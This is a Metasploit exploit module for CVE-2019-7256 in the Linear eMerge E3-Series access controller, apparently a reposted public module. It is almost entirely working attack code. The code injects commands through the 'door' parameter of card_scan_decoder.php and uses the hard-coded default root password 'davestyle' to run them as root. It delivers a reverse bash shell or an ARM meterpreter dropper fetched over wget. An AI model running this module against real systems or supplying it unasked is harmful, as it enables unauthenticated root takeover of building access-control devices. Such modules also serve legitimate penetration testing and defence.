Linear eMerge E3-Series Access Controller Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'rex/stopwatch'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Linear eMerge E3-Series Access Controller Command Injection',        'Description' => %q{          This module exploits a command injection vulnerability in the Linear eMerge          E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06` and below are vulnerable          to unauthenticated command injection in card_scan_decoder.php via the  `No` and `door` HTTP GET parameter.          Successful exploitation results in command execution as the `root` user.        },        'License' => MSF_LICENSE,        'Author' => [          'Gjoko Krstic <gjoko[at]applied-risk.com>', # Discovery          'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor        ],        'References' => [          [ 'CVE', '2019-7256'],          [ 'URL', 'https://applied-risk.com/resources/ar-2019-005' ],          [ 'URL', 'https://na.niceforyou.com/' ],          [ 'URL', 'https://attackerkb.com/topics/8WUJkci8N4/cve-2019-7256' ],          [ 'EDB', '47649'],          [ 'PACKETSTORM', '155256']        ],        'DisclosureDate' => '2019-10-29',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_ARMLE],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'Arch' => [ARCH_ARMLE],              'Type' => :linux_dropper,              'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],              'DefaultOptions' => {                'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 80,          'SSL' => false        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('ROOT_PASSWORD', [ true, 'default root password on a vulnerable Linear eMerge E3-Series access controller', 'davestyle']),      ]    )  end  def execute_command(cmd, _opts = {})    random_no = rand(30..100)    return send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'card_scan_decoder.php'),      'vars_get' =>        {          'No' => random_no,          'door' => "`echo #{datastore['ROOT_PASSWORD']}|su -c \"#{cmd}\"`"        }    })  rescue StandardError => e    elog("#{peer} - Communication error occurred: #{e.message}", error: e)    fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  end  # Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution  def check    print_status("Checking if #{peer} can be exploited.")    sleep_time = rand(2..10)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    return CheckCode::Unknown('No response received from the target!') unless res    return CheckCode::Safe('Target is not affected by this vulnerability.') unless res.code == 200 && !res.body.blank? && res.body =~ /"card_format_default":"/    print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")    return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time    CheckCode::Vulnerable('Successfully tested command injection.')  end  def exploit    case target['Type']    when :unix_cmd      print_status("Executing #{target.name} with #{payload.encoded}")      # Don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_command(payload.encoded)    when :linux_dropper      print_status("Executing #{target.name}")      execute_cmdstager(linemax: 262144)    end  endend